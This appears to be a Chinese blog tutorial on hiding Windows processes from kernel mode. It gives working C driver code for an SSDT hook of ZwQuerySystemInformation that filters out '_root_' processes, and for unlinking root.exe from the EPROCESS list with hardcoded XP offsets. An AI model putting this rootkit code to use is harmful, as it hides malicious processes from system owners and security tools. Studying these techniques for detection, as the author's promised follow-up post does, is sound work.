Ring0隐藏进程的方法

第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址

使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。

见核心代码

NTSTATUS NewZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

{

 

   NTSTATUS ntStatus;

 

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

                  SystemInformationClass,

                  SystemInformation,

                  SystemInformationLength,

                  ReturnLength );

 

   if( NT_SUCCESS(ntStatus))

   {

      // Asking for a file and directory listing

      if(SystemInformationClass == 5)

      {

         // This is a query for the process list.

        // Look for process names that start with

        // '_root_' and filter them out.

                 

        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

         struct _SYSTEM_PROCESSES *prev = NULL;

        

        while(curr)

        {

            DbgPrint("Current item is %x ", curr);

           if (curr->ProcessName.Buffer != NULL)

           {

              if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

              {

                  m_UserTime.QuadPart += curr->UserTime.QuadPart;

                  m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

 

                  if(prev) // Middle or Last entry

                  {

                     if(curr->NextEntryDelta)

                         prev->NextEntryDelta += curr->NextEntryDelta;

                     else   // we are last, so make prev the end

                         prev->NextEntryDelta = 0;

                  }

                  else

                  {

                     if(curr->NextEntryDelta)

                     {

                         // we are first in the list, so move it forward

                         (char *)SystemInformation += curr->NextEntryDelta;

                     }

                     else // we are the only process!

                         SystemInformation = NULL;

                  }

              }

           }

           else // This is the entry for the Idle process

           {

              // Add the kernel and user times of _root_*

              // processes to the Idle process.

              curr->UserTime.QuadPart += m_UserTime.QuadPart;

              curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

 

              // Reset the timers for next time we filter

              m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

           }

           prev = curr;

           if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

           else curr = NULL;

         }

      }

      else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

      {

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

      }

 

   }

   return ntStatus;

}

代码摘自Rootkits-Windows内核的安全防护一书

效果如图

我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。

第二种是直接在内核的EPROCESS链表中摘去目标进程。

void EnumERProcess()

{

         ULONG eproc ;

         ULONG first_eproc;

         int currentPid = 0;

         int startPid = 0;

         int cout = 0;

//      ULONG pflinkErp,pblinkErp;

         PLIST_ENTRY pListActiveProcs;

         PLIST_ENTRY pflinkErp,pblinkErp;

         //_asm int 3;

         //遍历ActiveList

         first_eproc = eproc = (ULONG)PsGetCurrentProcess();

         pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

         while(eproc!=0)

         {

                   PULONG pid = (PULONG)(eproc +0x84);

                  

                   PCHAR image_name = (PCHAR)(eproc +0x174);

                   DbgPrint("PID=%d ProcessName=%s ",*pid,image_name);

                   if(strcmp(image_name,"root.exe") == 0)

                   {

                            DbgPrint("发现进程root ");

                            pflinkErp = pListActiveProcs->Flink;

                            pblinkErp  = pListActiveProcs->Blink;

                            //后一个节点的前进节点设置为下一个

                            pblinkErp->Flink = pflinkErp;

                            //设置前面一个节点的后面节点

                            pflinkErp->Blink = pblinkErp;

                            pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);

                            pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);

                            return;

                   }

                   eproc = (ULONG)pListActiveProcs->Flink - 0x88;

                   pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

                   if(eproc == first_eproc)

                            break;

         }

}

(XP环境测试代码,直接硬编码了)

效果和第一种一样

 下一篇将告诉大家如何检测隐藏进程

原文地址:https://www.cnblogs.com/zwt1234/p/5365926.html